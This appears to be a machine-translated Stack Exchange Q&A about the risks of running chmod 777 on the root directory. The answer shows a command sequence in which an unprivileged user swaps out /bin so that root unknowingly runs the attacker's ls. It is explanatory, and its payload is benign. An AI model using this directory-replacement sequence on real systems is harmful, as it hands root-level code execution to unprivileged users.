如果将根目录 ( / ) 的权限设置为 777,会发生什么情况?

Jam*_*mie 2 linux security ubuntu

sudo chmod /,不是sudo chmod -r /

攻击者可以访问什么?这对个人机器好吗?

tec*_*raf 5

攻击者(非特权用户)将能够在根目录中创建新目录和文件,并将其中的任何现有目录重命名/(例如,重命名为有效地使机器无法使用的随机值)。

结合它允许非特权用户用他们自己的内容替换现有目录。想/bin。第一的:

sudo chmod 777 /
Run Code Online (Sandbox Code Playgroud)

现在攻击者(非特权用户)部分:

cp -r /bin /newbin
echo "echo boo running my own code as 'whoami'" > /newbin/ls
chmod +x /newbin/ls
mv /bin /oldbin
/oldbin/mv /newbin /bin
Run Code Online (Sandbox Code Playgroud)

现在检查这个:

sudo -i
ls
Run Code Online (Sandbox Code Playgroud)

它有效地为攻击者提供了一种拥有机器的简单方法。

  • 我的理解是,如果 `/` 有 777 权限,那么非特权用户可以创建新目录并删除空目录,但他们不能在像 `/bin` 这样的受保护子目录中添加文件或删除文件。 (2认同)
  • @Jamie 没有人需要向/从其他目录添加文件,他们只需替换根目录下的整个分支即可;尝试我添加到答案中的命令 (2认同)
  • @杰米 - 很好的。你是对的。你可以重命名一个你不拥有的目录让我有点惊讶!我今天学到了一些东西。 (2认同)